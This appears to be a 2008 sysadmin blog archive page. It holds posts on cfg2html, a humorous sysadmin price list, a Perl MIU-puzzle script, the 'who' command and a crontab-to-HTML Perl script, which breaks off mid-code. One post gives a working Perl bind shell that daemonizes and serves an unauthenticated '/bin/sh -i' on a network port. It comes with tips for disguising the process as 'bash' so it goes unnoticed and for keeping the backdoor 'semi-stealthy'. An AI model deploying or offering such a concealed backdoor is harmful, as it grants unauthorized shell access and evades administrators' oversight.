Showing posts with label system. Show all posts
Showing posts with label system. Show all posts

Thursday, August 21, 2008

Displaying System Information On Linux Or Unix With Cfg2html

Hey There,

Today's post is about a program I got turned on to at work, and which makes our script on linux server information reporting seem a bit lackluster. Then again, there's something to be said for not having "too much" information ;) What we're going to look at today is something you (and your technical colleagues) might love (or hate -- check out a message board or two to keep an accurate reading on the heated and irregular pulse of the user community at large ;) This is definitely not something the higher-ups are going to want to deal with. I'm sure they'd love to know it's available, but (and once you check it out, you'll agree) it doesn't contain the requisite number of pie-charts and 3-dimensional lines to impress a board of directors ;)

The script (which is available for free) is called cfg2html and, from my experience so far, I must say it does a fantastic job of reporting what's reportable and making for a very easy-to-read html server analysis (even if I do have to page-down 50 times to look at absolutely everything it reports on). You can pick up the latest (but not necessarily most stable) version at the cfg2html main site. This is an excellent place to go and grab it, but, since it does always have the latest version, you run the risk of picking up a newer (meaning not quite as thoroughly tested) release that you may not want.

If you're looking for stability, and/or a major release, check out the cfg2html Yahoo group. I'm not sure why this is their main site for stable releases, but it's an option that I've never seen used by a free software distributor, so far, and that makes it (at the very least) interesting. There's probably a very good reason. And I'll make myself nuts trying to figure out what it is unless I just drop it... immediately ;)

The cfg2html latest release page and the cfg2html stable release page (which is redirected to from both come.to and freshmeat.net) both have links to downloads tested to run on HP-UX 10 and 11, Solaris, AIX, SCO Unix, SUSE, Debian, Ubuntu and Red Hat) Linux, NT4.0, Windows 2000, certain Brocade switches and OpenWRT/Freifunk routers. You can also find plugins for AP R/3, Oracle, Informix, Samba (with or without SWAT), ITO and NNM, XP-Surestore Storage, EVA, SureStore E, SuperDome, OLA/R, SCM, AutoRAID, FC60, Tip/X, MC/SG, and Dataprotector/OmniBack. Your download size will vary depending on what you need, but the basic setup doesn't get much larger than 900Kb (Which is actually pretty large when you consider that it's a "script"! ...Actually there are probably some extra binary components to a few of the more eccentric entries in the series. The script I used was only about 40 or 50 Kb.)

If that list of options isn't extensive enough for you, you'll be glad to know that sourceforge.net hosts a separate project exclusively for cfg2html for IBM AIX and another, more specific, revision of the original product, called ora2thml which is more heavily geared toward Oracle configuration reporting. And, just to prove it's a small world, ora2html is in the midst of getting together support for AIX.

Random Interesting Fact: The term "acronym" is almost always used incorrectly. An acronym is any combination of letters, which can be pronounced like a word (actually, it should, technically, be a "real" word, but we've let that slip long ago), consisting of the initials of other words. Self Contained Underwater Breathing Apparatus (SCUBA) or White Anglo-Saxon Protestant (WASP) are acronyms. NT, XP, SCM, NNM, CFG, etc are just groups of initials. People who prefer to avoid conflict sometimes refer to them as abbreviations, although that is generally a bit of a stretch, as well ;)

Snapping right back to (One of my favorite acronyms ;) cfg2html, I've posted some screen shots below of the run-time output (taken from the internet public domain -- Shoot me an email if you deserve credit, since I couldn't find who it actually belonged to) and sections of the actual output from a box I got to test it out on. I think you'll agree that the results are impressive, if not overwhelming and possibly suffocating ;)

Click the picture below to see the run-time output from some guy's server in its original size:

cfg2html runtime

And, just after and below this sentence, click the following pictures for larger versions of a portion of the cfg2html TOC output and two out of 50-odd pages of copious details:

cfg2html report header


cfg2html kernel parameter report


cfg2html hardware report

Like I mentioned, if you're looking for something less severe, check out our old post on reporting Linux system information (and maybe even check out our famously lame collections of sar graph scripts for Unix (follow the links near the top of the article to get all the other scripts) and their all-in-one counterpart Linux sar graphing script.

If you want it all and you've gotta have it now (or as soon as you figure out how to make the html format itself the way you want it to ;), I'd highly recommend checking cfg2html out for yourself.

In a future post, we'll look at ways to configure it other than the "everything under the sun" method we've employed today.

Cheers,

, Mike




Please note that this blog accepts comments via email only. See our Mission And Policy Statement for further details.

Monday, August 4, 2008

Funny on Monday - MS Has Pushed It Too Far

Hey There,

This week I've extended the humor section to include today. The main reason for this (as alluded to in the title) is an operating system (the name rhymes with Mistah) that is probably the worst thing I've ever had to work on in my entire life. It's taking massive constraint to make today's humor anything but MS-bashing. I think I've slept 2 hours since Saturday and some of the problems I've run into are truly scary (referencing a support MS's site with 511 pages of complaints - still unresolved - about "one" issue).

This has, more than anything MS has ever done, made me a pure Linux desktop person. I could deal with the XP that came with my last PC, but this OS is so poorly designed, implemented and supported, I can't believe they charge money for it. And, to top it off, they're dropping support for XP to push this new version of warmed-over garbage while it still "barely works"...

Anyway, once I'm done posting tonight (and covering up the patches of hair I've pulled out ;) this laptop is going full Linux. I feel like an idiot for not just doing that in the first place. I heard the horror stories, but downplayed them, since I'd heard the same thing about lots of other versions of MS Windows, but this time they were more true than I could have ever imagined.

If you buy a new PC or laptop (which will have this OS on it, by default - bundled with hardware and drivers that MS has deemed incompatible, due to user complaints, although they have no problem branding machines with unsupported hardware -- a buck's a buck), get ready to install another OS from scratch (at least on a separate partition). On the bright side, I didn't upgrade to the "ultimate" edition. That probably would have killed me ;)

In any event, I'll be back tomorrow with some original material (although the above is all, technically, original ;) and apologize for the lack of quality content today.

Hopefully you'll enjoy this long-long joke from long-long ago (and my tags for this post :)

Cheers,

Courtsey of
alt.sysadmin.recovery
, where Sysadmins come to whine,
it's

The Sysadmin Price List:



Regular (as it were) Prices:



  • Calling me with a question --- $10
  • Calling me with a stupid question -- $20
  • Calling me with a stupid question you can't quite articulate - $30
  • Implying I'm incompetant because I can't interpret your inarticulate problem description - $1000+punitive damages
  • Questions received via phone without first trying help desk - $10.00
  • Questions where answer is in TFM - $10.00 (this should have been higher :-)
  • Questions during Xpilot session - $20.00
  • Calling me back with the same problem *after* I fix it once - $100
  • Insisting that you're not breaking the software, the problem is on my end somehow - $200
  • Asking me to walk over to your building to fix the problem - $5/step
  • Asking me to drive to another town to fix your problem - $50/mile+gas
  • If you interrupt me while I was reading news - $25/hr
  • If you interrupt me while I was trying to count all the xroaches on my screen - $35/hr
  • If you interrupt me while I was trying to actually fix somebody else's problem - $45/hr
  • If you try to hang around and get me to fix it now - $50/hr
  • If you expect me to tell you how I fixed it - $60/hr
  • If you've come to ask me why something isn't working that I'm currently working on - $70/hr
  • If you're asking me to fix something I fixed for you yesterday - $75/hr
  • If you're asking me to fix something I told you I fixed yesterday, but never did fix - $85/hr
  • If you're asking me to fix a quick patch that I made that didn't work - $95/hr
  • If you're bugging me while there's another admin in the room who could have done it for
    you - $150/hr
  • Making me trek to your office to fix your problem then leaving immediately after hanging up
    the phone - $1500.00
  • Calling up with a problem which "everybody" in the office is having and which is "stopping
    all work." Not being there when I rush over to look at it and nobody else in the office knows
    anything about it. - $1700.00
  • Explaining a problem for 1/2 hour over the phone BEFORE mentioning it's your personal machine at home - $500.00
  • Self-diagnosing your problem and informing me what to do - $150.00
  • Having me bail you out when you perform your own repairs I told you not to do - $300.00
  • Not telling all of your co-workers about it - $850.00
  • Explaining that you can't log in to some server because you don't have an
    account there - $10
  • Explaining that you don't have an account on the machine you used to have an
    account on because you used it to try to break into the above server - $500
  • Forgetting your password after it was tattooed on your index finger - $25
  • Changing memory partitions without informing me first - $50
  • Each time you call and start out by saying "I was fooling around on
    my computer when ..." - $50 + $ 10 /hr to fix the problem + $ 30 /hr
    to clean up after you.
  • Installing programs without informing me /getting permission first -$100 per program
  • Technical support for the above programs - $150 per hour (regardless of whether I know the program or not :))
  • Calling me to tell me that none of the users in your group can log on
    without telling me that you placed an order to remove applications for those
    users $25
  • After I find out that you placed the order to DELETE all of your users
    $1,000 (including $4,000 discount for the hilarity factor)
  • Leaving files on desktop - $5 per file, $10 per day the file is left unclaimed
  • Bringing in your own copy of the original Norton Utilities v1.0 to fix a brand new machine - $200
  • Putting feet up next to workstation after ten mile jog through NYC streets - $50
  • Spending 30 minutes trying to figure out what your problem is, and another
    5 explaining how to verify and fix it, only to hear you say... "So that's
    what the little box that popped up on my screen was telling me to do!" - $40
  • Dealing with tech support requests for obviously pirated software - $25
  • Dealing with "How can I get another copy of [obviously pirated software]?
    Mine just died." requests - $45
  • Having to use the "We're really not the best people to talk to about that;
    why don't you try calling the number on the box in which you bought it?" line
    - $55
  • Actually needing to explain copyright law to you after you failed to get
    the hint in the previous response - $95 (includes instructions for
    getting freeware replacements from the public file server)
  • Having to point out anything that's on the wall in a typeface larger than
    18 points - $15
  • If I wrote the sign - $45
  • If it's in a 144 point font and taped to the side of the monitor facing the
    door - $75
  • Reporting slow connection by passenger pigeon packets to MPEG archive
    in Outer Slobavia as a Mosaic/Netscape/Gopher/FTP client problem - $25.00
  • Reporting it more than once - $50.00
  • Reporting it more than once and implying slothfullness on tech
    support's inability to solve problem - $200.00


"Hardware Problem" Prices:



  • Figuring out you mean floppy drive when you say hard drive - $50.00
  • BEFORE I order your replacement hard drive - $250.00
  • Telling me that you don't have a hard drive $50
  • Spending 15 minutes to find out the size of your hard drive (includes
    walking you through the process) $100
  • Telling me that you don't save anything to the any of the drives, you "just
    push a button and it goes off into computer land." $50
  • Fixing your "broken" mouse with a mousepad - $25.00
  • Fixing your "broken" optical mouse by rotating the mousepad 90 degrees -$35.00
  • Fixing your "broken" optical mouse by taking off the post-it note someone has put on the bottom. - $50.00
  • Fixing a "broken" mouse by cleaning the rollers - $50.00
  • Fixing your "broken" printer with an ink/toner cartridge - $35.00
  • Fixing your "broken" ANYTHING with the power button - $250.00
  • Fixing the "crashed" system by turning the external disk back on - $200.00
  • Fixing the "hung" systemby plugging the ethernet transciver back in - $375.00
  • Fixing the crashed nameserver by plugging back in the SCSI cord someone
    accidentially yanked out on Friday afternoon when the 'real' sysadmin has
    just left for a two week vacation - $400
  • Visiting your old university and fixing the broken PC by plugging the
    monitor lead back in - $50
  • Spilling coke on keyboard - $25 plus cost of keyboard
  • Spilling coke on monitor - $50 plus cost of monitor
  • Spilling coke on CPU - $200 plus cost of motherboard swap plus hourly rate of $150 per hour spent reinstalling the system
  • Cleaning the mouse with spit and sleeve - $50 plus cost of sleeve plus cost of therapy :)
  • Chewing on the end of the graphic tablet stylus - $25
  • Listening to your network troubles, suggesting that you check to see if
    you are plugged into the network jack, hearing yes, trying five other things,
    asking you to identify your plug type, listening to you drag furniture, and
    hearing a sheepish, "Oops. Nevermind." - $35 (including discount for polite apology)



Beeper Prices:



  • Beeping me when I'm out with the significant other - $50
  • Beeping me when I'm out of town and I took pains to insure that help
    files were left all over and that diagnostics had been run on all machines before I left - $100
  • Beeping me more than once to tell me that the printer's offline and the fix is to press the
    On Line button - $200
  • Beeping me more than once while I'm asleep - $50 per beep
  • Beeping me and not identifying yourself within the first 5 seconds - $25
  • Beeping me and then changing your story / denying you placed the call / hoped I would
    forget who caused the problem - $500


Special Rates:



  • Dealing with user body odor - $75.00/hour
  • Dealing with user not familiar with the primary language spoken at site - $50.00/hour
  • Dealing with user who is (self-proclaimed) smarter than you are, but
    still calls every other day for help - $100.00/hour
  • Dealing with computer hobbiests - $125.00/hour


  • Questioning the other prices .................................$50


Collected from posts & email from:



jam@philabs.philips.com
jlkinsel@engr.ucdavis.edu
dpeschel@u.washington.edu
msuzio@tiamat.umd.umich.edu
nhughes@umich.edu
harlan@oberon.cs.wisc.edu
uhajj@superdec.uni.uiuc.edu
the8thman@aol.com
emk@dartmouth.edu
itchris@dale.ucdavis.edu
d-farley@tezcat.com
akilpat@engr.ucdavis.edu
ilaine@panix.com
s138@cpcroh.cpc.uea.ac.uk
drewkt@wellsfargo.com
rambler@sowest.net


, Mike

Sunday, June 1, 2008

Perl Script To Help Solve the "M I U" puzzle on Linux or Unix

Updated 6/02 - Blogspot bracket interpretation was showing the script incorrectly.

Hey There,

For this "Lazy Sunday" post, as promised, we're going to be taking a look, again, at formal systems and the "MI to MU" puzzle presented by Douglas R. Hofstadter in his book "Godel, Escher, Bach: An Eternal Golden Braid." And, also as promised, I've put together a Perl script to walk you through it, that should run on most Linux and Unix flavours (including Cygwin for Windows).

At the end of today's post, I've attached a simple Perl program that will let you attack this puzzle and solve it, while being certain that you're adhering to "the rules." I'm not a big fan of following the rules, in general (you can get a lot more done, and make significant breakthroughs, by ignoring convention ;), but a "formal system" can't exist without them.

Many of you may have already solved this puzzle on your own. If you'll permit me the opportunity to throw you a hint (assuming you haven't solved it yet), the answer is all in the way you perceive your boundaries, as laid out by the rules. The first time I tried to solve this I ended up with a few pieces of paper describing a decision-tree that I could barely comprehend (even though I'd written it ;). The third time I tried it, I realized that I was making assumptions, based on the "rules" presented, that were completely incorrect. In fact, by following the rules exactly (and removing any thought-prejudice I had with regards to what the rules made possible) I was able to solve it in the minimum number of steps.

Needless to say, this script isn't "perfect." For instance, I didn't bother to include extra code to do case-insensitive input matching and settled with creating a simple menu that only accepts the number of your selection as input (So, for instance, when you're presented with your options, you'll have to type 4 - rather than the first letter of the option - and if you're asked for string input, you'll need to enter "I" rather than "i", etc).

I spent most of my time writing this script trying to figure out how many different ways the puzzle could permutate and stray from the rules (and, of course, fixing those holes) rather than making it aesthetically pleasing. It will probably offend Perl purists, as well, since I wrote it as quickly as possible, with little regard for efficiency and elegance of the code ;)

For a refresher on the rules of this puzzle, and examples of valid rule applications, check out yesterday's post regarding formal systems.

Here's hoping you enjoy a little brain-teaser as much as I do, and that this simple Perl script helps break you out of any "strange loops" you might have in your subconscious that prevent you from reaching the solution!

Cheers


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/usr/bin/perl

#
# mimu.pl - Solve the M I U formal system MI to MU puzzle by the rules
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

$start = "MI";
print "\nYour string is $start\n\n";

until ( $start eq "MU" ) {
if ( $start eq "M" ) {
print "\nYou Cannot Solve This\n";
print "Puzzle Within This Formal\n";
print "System From This Point On\n";
print "Try Again!\n\n";
exit;
}
print "Which rule to you want to apply?\n";
print "1. Add a U to end of string if string ends in I\n";
print "2. Duplicate a pattern following an M - Mx = Mxx\n";
print "3. Convert III to U\n";
print "4. Remove UU\n";
print "5. Quit\n";
print "?> ";
$response = <STDIN>;
if ( $response == 1 ) {
$test = $start;
$test =~ s/^.*(I)$/$1/;
if ( $test eq "I" ) {
$start = $start . "U";
print "\nYour string is now $start\n\n";
} else {
print "\nLast letter is not an I, cannot add U\n\n";
print "Your string is still $start\n\n";
}

} elsif ( $response == 2 ) {
print "\nWhat string do you want to duplicate?\n\n";
$response = <STDIN>;
chomp($response);
if ( $response =~ /^ * *$/ ) {
print "\nNo Input Received\n\n";
print "Your string is still $start\n\n";
next;
}
if ( $start =~ /^M$response.*$/ ) {
print "\nDuplicating $response\n\n";
$start =~ s/^(M)($response)(.*)$/$1$2$2$3/;
print "Your string is now $start\n\n";
} else {
print "\nThe string $response does not follow your M\n\n";
print "Your string is still $start\n\n";
}
} elsif ( $response == 3 ) {
undef @tripIs;
$string = $start;
$char = 'III';
$offset = 0;

$result = index($string, $char, $offset);
if ( $result == -1 ) {
print "\nCannot Find III in your string\n\n";
print "\nYour string is still $start\n\n";
next;
}

while ($result != -1) {
push(@tripIs, "$result");
$offset = $result + 1;
$result = index($string, $char, $offset);
}
print "\nFrom left to right, which offset\n";
print "of III would you like to replace?\n\n";
if ( defined @tripIs ) {
foreach $triplet (@tripIs) {
print "${triplet}: III\n";
$count++;
}
}
print "\n";
chomp($response = <STDIN>);
$temp = substr($string, $response, 3);
if ( $temp ne "III" ) {
print "\nCannot Find III At Index $response\n\n";
print "\nYour string is still $start\n\n";
} else {
substr($string, $response, 3) = 'U';
$start = $string;
print "\nYour string is now $start\n\n";
}
} elsif ( $response == 4 ) {
undef @doubleUs;
$string = $start;
$char = 'UU';
$offset = 0;

$result = index($string, $char, $offset);
if ( $result == -1 ) {
print "\nCannot Find UU in your string\n\n";
print "\nYour string is still $start\n\n";
next;
}

while ($result != -1) {
push(@doubleUs, "$result");
$offset = $result + 1;
$result = index($string, $char, $offset);
}
print "\nFrom left to right, which offset\n";
print "of UU would you like to remove?\n\n";
if ( defined @doubleUs ) {
foreach $doubleu (@doubleUs) {
print "${doubleu}: UU\n";
$count++;
}
}
print "\n";
chomp($response = <STDIN>);
$temp = substr($string, $response, 2);
if ( $temp ne "UU" ) {
print "\nCannot Find UU At Index $response\n\n";
print "\nYour string is still $start\n\n";
} else {
substr($string, $response, 2) = '';
$start = $string;
print "\nYour string is now $start\n\n";
}
} elsif ( $response ==5 ) {
print "\nYou quit with your string at $start\n\n";
exit;
} else {
print "WTF?\n";
print "\nYour string is still $start\n\n";
}
}
print "\nYour string is $start\n\n";
print "Puzzle Solved! Congrats\n\n";
exit;


, Mike

Saturday, May 31, 2008

Looking At Formal Systems On Linux and Unix

Hey There,

For today's post, we're going to put out a brain-teaser that won't get solved (at least on this blog) until tomorrow. It's based on a formal system (which is basically a set of rules, with specific applications, used as a method to solve an equation or problem) invented by Emil Post back in the 1920's and is most commonly referred to as a "post production system."

This basic formal system was re-popularized by Douglas R. Hofstadter in his book Godel, Escher, Bach: An Eternal Golden Braid" when he introduced the concept to folks, who weren't especially crazy about such abstract notions, by way of a little puzzle.

For today's post, we're going to reproduce (paraphrased, of course) that puzzle and let you see if you can solve it (or, if you can prove that it can't be solved, which is a possibility).

For tomorrow's post, we'll be putting up a script for Linux or Unix that will make this whole process much easier and will give you the option to "attack" this problem as quickly or slowly as you prefer. While the script will relieve you of the pleasure of completing this mental exercise (if it's at all possible to complete), it will either get you to the answer very quickly or make you wonder how long it might possibly take to solve. Considering the ingredients, that may turn out to be a huge chunk of your time ;)

And here we go. I hope you enjoy this puzzle as much as I did:

We begin with an absolute. You are starting out with a single string (which is absolutely defined, within the context of this formal system and puzzle, as a set of characters in a specific order - e.g. MI is not the same as IM). That absolute (or starting point) is simply "MI." (Note that all punctuation marks are "not" parts of the strings ;)

Give the string "MI," your goal will be to convert that string into the string "MU." Please note that, although a string like MIMUIM is a valid member of the M I U formal system, given the starting string of MI, you will never be able to have an M anywhere but in the first position. Sadly, this does not make finding the answer easy ;)

There are 4, and only 4, rules in this formal system, and you can only correctly solve the puzzle by applying any and/or all of them, one at a time, for as long as it takes to get you to "MU."

Rule 1: If your string ends with an "I", you can add a "U" to the end of it.

Ex: MI can become MIU.

Rule 2: If you have a string of the form "Mx," you can change that to "Mxx." Note here that the variable x can refer to a string (not necessarily just one character) and that only the letters M, I and U will ever exist in any string you produce by application of these rules. x is simply meant to be used as a variable notation.

Ex: MI can become MII
MIU can become MIUIU


The one thing to remember about this rule is that, once you've picked your character, or string, you can only duplicate it once per invocation of the rule. For instance, this is not acceptable:

Ex: MIU cannot become MIUIUII (duplicating "IU" and then duplicating the "I" before the "U," after the "I." You could do the following, however, in a number of steps:
MIU can become MIIUIU (by duplicating the "I" first, and then duplicating the "IU" from the resultant string)

Rule 3: If the substring "III" appears in your string, you can replace "III" with "U," but you may not do the opposite:

Ex: MIII can become MU
Ex: MU cannot become MIII


Rule 4: If "UU" occurs within your string (at any point), you can remove it from the string:

Ex: MIUUI can become MII

Using these 4 "rules of production" (or "rules of inference") can you take your initial string "MI" and change it to "MU"? Also, if it's not possible, is that provable? And, if it is possible, what's the fastest way to do it?

Have fun trying to figure it out. If you already own the aforementioned book, you may know the solution already (it's hidden somewhere in the approximately 700+ pages). Sometimes, though, your individual path to the solution will teach you a lot more than you'd learn by being told the answer :)

Enjoy,

, Mike

Friday, May 23, 2008

Using Who To Find What And When On Linux and Unix

Hello again,

Today's post is yet another in a somewhat disjointed series of posts on "stuff you might not know and you might find interesting" regarding very common commands. And they don't get much more common than the "who" command.

Generally, "who" is used like the last command that we looked at in our previous post. It's generally issued at the command line to determine who (yes, it's not just a clever name ;) is logged on "right now," if anyone is at all.

Unlike "last," however, the "who" command has quite a number of options that make it a great troubleshooting, and statistics gathering, command. And, as luck would have it, the four options that we're going to look at today are exactly the same on SUSE Linux 9.x, Solaris 9 Unix and even Solaris 10 :) We'll go through the options from most to least used (in my experience). Not that it matters. We're only looking at four options, so it's going to be hard to get lost ;) All example output will be from SUSE Linux 9.x

1. "who -r" - Prints the current runlevel. This is somewhat similar to the functionality of the last command that we posted about before, but it gives more limited information. This command is excellent for a quick overview of the system's current runlevel, previous state and last state-transition time. For instance, take the following example:

host # who -r
run-level 3 Feb 27 16:06 last=S


This shows us that our system is currently at "run level 3," was in "Single User" mode (S) previous to that, and that the transition from "Single User" to "run level 3" occurred approximately February 27th at 16:06. I say approximately, because (if we look at last's output, as we did in our previous post on using last to its full potential, we could see that this was actually a reboot).

The last state will usually appear as "S" on a reboot, since it's the last recorded state the system is at before it switches to "run level 3" (Of course run level 2 is executed on a normal boot to run level 3). All the information about switching from "run level 3" to "run level 6," and from "run level 6" to "run level S", and all the reboot and shutdown commands are not reported. Again, we don't know the year, but, since this command reads from wtmpx, you can check out a few older posts on user deletion with Perl and the relevant mods for Linux if you want to use Perl to grab that information, as well.

2. "who -b" - Prints the system boot time. Didn't I just get through a really long-winded explanation of all the information missing from "who -r"? ;) Well, here's some of that. This invocation of "who" prints out the last time the system was booted. Note that this doesn't differentiate between a reboot and a power-cycle:

host # who -b
system boot Feb 27 16:06


3. "who -d" - Prints out a list of all the dead processes on your system. This invocation of the who command is really only useful if you're looking for a problem process and can't seem to find it. Generally, you'd use either lsof or ptree/pfiles to find the rogue process, but, if you don't have those (or find them too messy), this command can sometimes help. Mostly though, it's just a listing of processes which are no longer running and still in memory. Note that, for our example below, all of these processes aren't even in the process table anymore!

host # who -d
Feb 27 16:06 2134 id=si term=0 exit=0
Feb 27 16:07 4410 id=l3 term=0 exit=0
pts/2 Apr 14 10:40 24532 id=ts/2 term=0 exit=0
pts/1 May 2 20:29 20407 id=ts/1 term=0 exit=0


4. "who -t" - Prints out the last time the System Clock was changed. Like I mentioned, I saved the least used, and/or obvious, invocation of who for last. You may never have to run the who command with this argument. Still, it's nice to know it's there. As far as I can tell, this setting is not affected by the NTP protocol or any similar software you might have running on your machine (xnptd, etc) to keep the OS clock set correctly. If someone with root (or equivalent) privilege decides to run the "date" command on the server to set an incorrect (or correct) time, this command's output will note it. Unfortunately, it's been a while on the machine I'm using as a test case, and the default output (assuming no change) is nothing. On the bright side, we can be reasonably certain that no one's been goofing with the system clock :)

host # who -t
host #


Enjoy the rest of your day, and have a great Memorial Day weekend ;)

Cheers,

, Mike

Friday, April 11, 2008

Perl Script To Run A Linux Or Unix Shell On A Network Port

Hey again,

Today, we're following up on the promise we made in this Monday's post on running a Linux or Unix shell on a network socket and bringing you that same functionality in a Perl script. No more mucking with C code or C compilers, but the program is, of course, slightly different (slightly better in some ways, slightly not-better in others ;)

You might also check back on our follow up to the original "network port shell" post, by looking at the usage help we posted, if you run into any funky terminal I/O issues. But this script, and the sockets/shell implementation is a bit smoother and more accessible.

The script can be run easily from the command line, like this:

host # ./shell.pl 45778 <--- The port you pick is arbitrary but should be unused, and over 1024 if you are a regular user

You'll probably want to comment out the first 4 lines of code that do the error checking on the command line and just define your port within the script. That way, when you run it, it won't look quite so obvious that you're running an interactive login shell on a random port. For instance, this is how it would look normally, in ps output:

host # ps -ef|grep shell
user51 8427 1 0 14:49 ? 00:00:00 /usr/bin/perl ./shell.pl


If you make that slight modification (and maybe rename the program to "sh," or "bash" or something else that normally has a ton of listings in the ps table output), you're less likely to be noticed:

host # ps -ef|grep bash
user99 28727 28726 0 10:27 pts/3 00:00:00 -bash
user51 11251 11250 0 13:50 pts/2 00:00:00 ./bash
user00 15595 15153 0 13:54 pts/1 00:00:00 -bash


In the above example, it's kind of obvious which process is yours, but mixed in with 20 or 30 other regular users and all their processes, that might get missed. This is all for your convenience and lack of hassle, of course. We're assuming you're not going to be using this to do anything "wrong." That just wouldn't be "right." :)

Once it's compiled, just Telnet to the port and you've got a shell connection on your internet socket!

Now, with this Perl script you'll notice two things. The first is that you won't have the "huge" problems the original C program had with input and output. For instance, this is what it will look like the first time you connect (the double PS1 prompts actually show up that way) :

host # telnet localhost 49987
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.
sh: no job control in this shell
host # id
uid=0(root) gid=0(root) groups=0(root)
host # host # ls
file1
file2
file3
host # host # pwd
/root
host # host # exit
<--- This won't work because it's not really a "tty"
^]
telnet> q
Connection closed.
host # id
uid=501(user51) gid=501(user51) groups=501(user51)


You'll notice, just like before, that the shell on the socket runs as the user who kicked it off, so, even though we accessed it as a non-privileged user, we got a root shell without having to login. Be very careful if you leave this up for convenience as it can become a big problem for you if someone mischievous finds it :)

The second thing I wanted to you to notice (ok, technically, the third ;) is that the shell doesn't get spawned every other Telnet connection. For some reason (the initial disconnect, Perl's functionality or my programming skills) the shell only starts up every other time you connect. For instance, if you disconnect and reconnect, you'll get this:

host # telnet localhost 49987
Trying 127.0.0.1...
Connected to localhost.
Escape character is '^]'.


And no output. Just do the normal Telnet quit:

^]
telnet> q
Connection closed.


And connect again. The shell will come up like it did the first time. I'm convinced I may know what the problem is, but have no more time to work on it right now, but I also found that there's a benefit to it working this way. That is to say, when you get done, if you want to keep the shell running on the port and remain semi-stealthy, just don't connect again. Then, if anyone finds it, they'll connect to a seemingly dead port and either forget about it or kill the PID associated with the connection. Either way, the next time you need it, you'll know, even if you get no response, you just need to quit your Telnet session and reconnect to get the shell back up.

Enjoy, stay safe and have a great weekend :)


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/usr/bin/perl

#
# shell.pl - run a shell on a network socket
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

if ( $#ARGV != 0 ) {
print "Usage: $0 PortNumber\n";
exit(1);
}

use Socket;
use POSIX;

$port = $ARGV[0];
$host = "localhost";
$protocol = "tcp";

if ( $port =~ /\D/) {
$port = getservbyname($port, $protocol) || die "getservbyname ${port}/$protocol\n";;
}
$inet_address = inet_aton($host) || die "inet_aton: ${host}\n";
$port_address = sockaddr_in($port, $inet_address);
$protocol_num = getprotobyname('$protocol');

$| = 1;

socket(SOCKET, AF_INET, SOCK_STREAM, $protocol_num) || die "socket: $!";
setsockopt(SOCKET, SOL_SOCKET, SO_REUSEADDR,1) || die "setsockopt: $!\n";
bind(SOCKET, $port_address) || die "bind: $!\n";

defined(my $pid = fork) or die "fork: $!";
exit if $pid;
setsid or die "session: $!";

close(STDIN);
close(STDOUT);
close(STDERR);
setpgrp();
$SIG{HUP} = "IGNORE";

defined(my $pid = fork) or die "fork: $!";
exit if $pid;
setsid or die "session: $!";

$lsock = listen(SOCKET, 5) || die "listen $!\n";

while (1) {
$shell_shock=accept(NEWSOCKET, SOCKET)|| die "accept $!\n";
dup2(STDIN,0);
dup2(STDOUT,1);
dup2(STDERR,2);
system("/bin/sh -i");
close($shell_shock);
}
close(SOCKET);
exit;


, Mike




Thursday, April 10, 2008

Perl Script To List Out Linux or Unix Crontabs In HTML

Output from crontab HTML Perl script

Hello again,

Today's script is a simple, but useful, one. A while back, we ran a series of posts on graphing out disk, paging, memory and cpu statistics for Unix, with a big roundup for paging, memory and cpu on Linux.

This time, we're going to go in a bit of a different direction and put together an example script that creates an HTML page, also (hopefully) providing some useful information for you, the sysem admin or user.

As with the other scripts, there are a few words of caution that go with putting any sort of script like this "out there." While this doesn't have the destructive potential of the Linux graphing scripts (or the Unix ones), as they were interfacing directly with system commands, you should still be careful whenever you publish information in this way. Since our script goes to the filesystem to read its information from a system output file, it affords access that may not necessarily be granted to a user logged on to that system.

In any event, all "gloom and doom" aside, we're starting out simple with today's "system information" script by just reporting on crontab contents. The script below does need to be run from the command line (unless you expressly allow execution of .pl files in your web server's configuration and modify it somewhat), which creates an interesting cyclical loop if you run it from cron ;) It's also kind enough to remove all comment lines from the crontabs so they're, hopefully, more readable!

You can execute it simply by running it from the command line with no arguments, like so:

host # ./cron.pl

You'll probably need to modify a few variables (like the "chdir" line, to indicate the correct path to your crontabs directory, the output file's destination and the section where I purposefully ignore the basic "system accounts" (including root) and then print to the HTML page that they're "currently unused"), but it should run right out-of-the-box, otherwise.

Cheers,


Creative Commons License


This work is licensed under a
Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License

#!/usr/bin/perl

#
# cron.pl --- Easily scan through a server's cron jobs
#
# 2008 - Mike Golvach - eggi@comcast.net
#
# Creative Commons Attribution-Noncommercial-Share Alike 3.0 United States License
#

chomp($cur_dir=`pwd`);
chdir("/var/spool/cron/crontabs");
@crons = `ls`;
$filename = "${cur_dir}/cron.html";
$hostname = `hostname`;

foreach $job (@crons) {
chomp $job;
if ( $job =~ /(^adm$|^lp$|^sys$|^uucp$|^root$)/ ) {
next;
} elsif ( $job =~ /\.pl|html|passwd/ ) {
next;
} else {
push(@parcel, $job);
}
}

open(OUTPUT, ">$filename");
print OUTPUT "<html><head><title>$hostname Cron Services</title></head>\n";
print OUTPUT "<body BGCOLOR=\"#000000\" TEXT=\"#00FF00\" LINK=\"#FFFF00\" VLINK=\"#FF0000\" ALINK=\"#BECD8C\">\n";
print OUTPUT "<FONT COLOR=\"FFFF00\">$hostname -- CRON SERVICES:</FONT>\n";
print OUTPUT "<br><hr><br>\n";
print OUTPUT "<FONT COLOR=\"FFFF00\">root:</FONT><br>Currently unused. - System Supplied.<br>\n";
print OUTPUT "<br><hr><br>\n";
print OUTPUT "<FONT COLOR=\"FFFF00\">adm:</FONT><br>Currently unused. - System Supplied.<br>\n";
print OUTPUT "<br><hr><br>\n";
print OUTPUT "<FONT COLOR=\"FFFF00\">lp:</FONT><br>Currently unused. System Supplied.<br>\n";
print OUTPUT "<br><hr><br>\n";
print OUTPUT "<FONT COLOR=\"FFFF00\">sys:</FONT><br>Currently unused. - System Supplied.<br>\n";
print OUTPUT "<br><hr><br>\n";
print OUTPUT "<FONT COLOR=\"FFFF00\">uucp:</FONT><br>Currently unused - System Supplied.<br>\n";
print OUTPUT "<br><hr><br>\n";

foreach $part (@parcel) {
open(PACKAGE, "<$part");
@package = <PACKAGE>;
close(PACKAGE);
